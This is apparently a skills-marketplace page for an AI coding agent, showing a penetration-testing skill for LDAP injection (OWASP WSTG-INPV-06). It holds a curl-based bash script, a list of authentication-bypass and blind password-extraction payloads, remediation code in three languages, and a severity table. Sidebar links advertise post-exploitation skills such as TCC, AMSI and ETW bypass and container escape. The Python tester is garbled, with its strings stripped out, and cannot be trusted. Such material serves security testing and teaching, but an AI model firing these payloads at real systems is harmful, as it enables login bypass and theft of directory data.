メニュー
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-06コマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
SOC 職業分類に基づく
SKILL.md を表示中
| name | wstg-inpv-06 |
| description | Testing for LDAP Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-06 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | ["ldap","activedirectory","openldap"] |
| cwe_ids | ["CWE-90"] |
| chains_with | ["wstg-athn-05","wstg-authz-02"] |
| prerequisites | ["wstg-info-06"] |
| severity_boost | {} |
WSTG-INPV-06
Testing for LDAP Injection
LDAP Injection occurs when user input is incorrectly filtered or not sanitized before being included in LDAP queries. Attackers can modify LDAP queries to bypass authentication, extract sensitive directory information, or modify directory data.
#!/bin/bash
TARGET="https://target.com/login"
# Basic LDAP injection payloads
echo "[*] Testing for LDAP injection..."
# Test with special characters
curl -s -X POST "$TARGET" -d "username=*&password=*"
curl -s -X POST "$TARGET" -d "username=admin*&password=*"
curl -s -X POST "$TARGET" -d "username=*)(uid=*))(|(uid=*&password=test"
# Test authentication bypass
curl -s -X POST "$TARGET" -d "username=*))&password=pwd"
curl -s -X POST "$TARGET" -d "username=admin)(&password=*"
#!/usr/bin/env python3
"""
LDAP Injection Vulnerability Tester
"""
requests
re
:
():
.url = url
.findings = []
.session = requests.Session()
LDAP_ERRORS = [
,
,
,
,
,
,
,
,
,
,
,
]
PAYLOADS = {
: [
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
(, ),
],
: [
,
,
,
,
,
,
],
: [
,
,
,
],
}
():
()
username, password .PAYLOADS[]:
:
response = .session.post(
.url,
data={: username, : password}
)
pattern .LDAP_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
.findings.append({
: ,
: ,
:
})
response.status_code == :
response.text.lower() \
response.text.lower() \
response.text.lower():
()
()
.findings.append({
: ,
: username,
:
})
Exception e:
():
()
payload .PAYLOADS[]:
:
response = .session.get(
.url,
params={param: payload}
)
pattern .LDAP_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
.findings.append({
: ,
: payload,
:
})
(response.text) > :
()
Exception e:
():
()
true_payload = (, )
false_payload = (, )
:
true_response = .session.post(
.url,
data={: true_payload[], : true_payload[]}
)
false_response = .session.post(
.url,
data={: false_payload[], : false_payload[]}
)
(true_response.text) != (false_response.text):
()
()
()
.findings.append({
: ,
:
})
Exception e:
():
()
charset =
extracted =
position (, ):
found =
char charset:
payload =
:
response = .session.post(
.url,
data={: payload, : }
)
response.text.lower():
extracted += char
found =
()
Exception e:
found:
extracted:
()
.findings.append({
: ,
: target_field,
: extracted,
:
})
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
f:
()
():
.test_auth_bypass()
.test_filter_injection()
.test_boolean_blind()
.generate_report()
tester = LDAPInjectionTester()
tester.run_tests()
# Authentication Bypass Payloads
*
*)(&
*))%00
admin)(&)
admin)(!(&(1=0
*()|%26'
admin))(|(objectClass=*)
*)(uid=*))(|(uid=*
# Filter Injection
*)(objectClass=*
*)(uid=*
admin*
*)(|(objectClass=user)(objectClass=person))
# Data Extraction (Blind)
admin)(password=a*
admin)(password=b*
admin)(password=c*
# Continue character by character
# OR Injection
*)(|(mail=*
admin)(|(password=*))
# AND Injection
admin)(&(objectClass=user))
# DN Injection (Distinguished Name)
admin,ou=users,dc=company,dc=com
cn=admin,dc=example)(&(objectClass=*
# Standard LDAP Filter Syntax
(&(uid=admin)(password=secret))
# Vulnerable query construction:
# "(&(uid=" + username + ")(password=" + password + "))"
# With injection username = "*)(uid=*))(|(uid=*"
# Results in: (&(uid=*)(uid=*))(|(uid=*)(password=test))
# The )(uid=*) closes the original filter and adds always-true condition
# OR injection for bypass:
# username = "*)(|(password=*"
# Results in: (&(uid=*)(|(password=*)(password=test))
| Tool | Purpose |
|---|---|
| Burp Suite | Manual testing |
| ldapsearch | LDAP client |
| Apache Directory Studio | LDAP browser |
| Custom scripts | Automated testing |
// Java - Use parameterized LDAP queries
import javax.naming.directory.*;
// VULNERABLE
String filter = "(&(uid=" + username + ")(password=" + password + "))";
// SECURE - Escape special characters
import javax.naming.ldap.Rdn;
String escapedUsername = Rdn.escapeValue(username);
String escapedPassword = Rdn.escapeValue(password);
String filter = "(&(uid=" + escapedUsername + ")(password=" + escapedPassword + "))";
# Python - python-ldap with escaping
import ldap
from ldap.filter import escape_filter_chars
username = escape_filter_chars(user_input)
filter_str = f"(&(uid={username})(objectClass=person))"
<?php
// PHP - Use ldap_escape
$safe_username = ldap_escape($username, '', LDAP_ESCAPE_FILTER);
$filter = "(&(uid=$safe_username)(objectClass=user))";
?>
| Finding | CVSS | Severity |
|---|---|---|
| LDAP authentication bypass | 9.8 | Critical |
| LDAP data extraction | 7.5 | High |
| LDAP filter injection | 7.5 | High |
| LDAP error disclosure | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-90 | Improper Neutralization of Special Elements used in an LDAP Query |
[ ] LDAP authentication tested
[ ] Filter injection tested
[ ] Blind injection tested
[ ] Special characters tested
[ ] Error messages analyzed
[ ] Data extraction attempted
[ ] Findings documented